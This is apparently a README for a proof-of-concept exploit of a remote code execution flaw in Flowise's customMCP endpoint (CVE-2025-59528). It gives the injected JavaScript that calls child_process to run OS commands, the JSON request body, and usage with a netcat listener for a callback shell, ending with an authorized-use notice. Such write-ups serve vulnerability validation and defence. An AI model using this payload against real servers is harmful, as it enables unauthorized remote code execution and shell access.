Version francaise

CVE-2025-59528 Proof of Concept

Minimal PoC focused on technical validation of the vulnerability in an authorized environment.

Prerequisites

• You must have a user account on the target Flowise dashboard.
• You must have a valid API key linked to that account.
• You must start a listener on your callback host before running the PoC (example: nc -lvn 4444).

Usage Example

Start the listener first:

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

Replace the values with your authorized environment settings.

CVE Summary

• Affected product: Flowise
• Affected versions: lower than 3.0.5
• Type: Remote Code Execution (RCE)
• Entry point: POST /api/v1/node-load-method/customMCP endpoint

The issue comes from how inputs.mcpServerConfig is processed: this value is interpreted in a way that allows server-side JavaScript execution. In practice, an authenticated attacker can inject an expression that calls child_process and runs an OS command.

Exploitation Mechanism

The exploitation flow is:

1. Build a request to the customMCP endpoint.
2. Put a malicious JavaScript expression in mcpServerConfig.
3. Trigger process.mainModule.require('child_process').
4. Execute an OS command (exec/execSync).

If accepted, the server executes the command in its system context.

How This PoC Works (poc.py)

The script takes four arguments:

• -d/--domain: target domain
• -lh/--host: callback IP
• -lp/--port: callback port
• -A/--api: Bearer API token

Then it:

1. Builds the vulnerable URL: http://<domain>/api/v1/node-load-method/customMCP
2. Adds the Authorization: Bearer <token> header
3. Prepares a callback shell command
4. Injects that command into a JS expression:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Sends this JSON:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<injected JS expression>"
  }
}

6. Prints the HTTP status and raw response for validation.

Why This PoC Is Better (vs EDB 52440)

Compared to the EDB PoC (which performs email/password login, uses browser-like headers, and runs a free-form --cmd), this script is better for pure PoC validation:

1. More direct: no login flow and less unnecessary HTTP noise.
2. Lower breakage surface: fewer steps tied to frontend/auth config.
3. CI-friendly automation: simple arguments and quick output.
4. Clearer validation: status + body are printed immediately.
5. Focused on the core CVE path: mcpServerConfig injection and server-side execution.

In short: the EDB script is a more generic offensive demo, while this PoC is more targeted for technical reproducibility.

Current Limitations

• Assumes a valid API token already exists.
• No https mode or certificate handling.
• No retry/backoff logic.
• Callback command is hardcoded (not yet parameterized via --cmd).

Responsible Use

Test only on systems you own or where you have explicit authorization.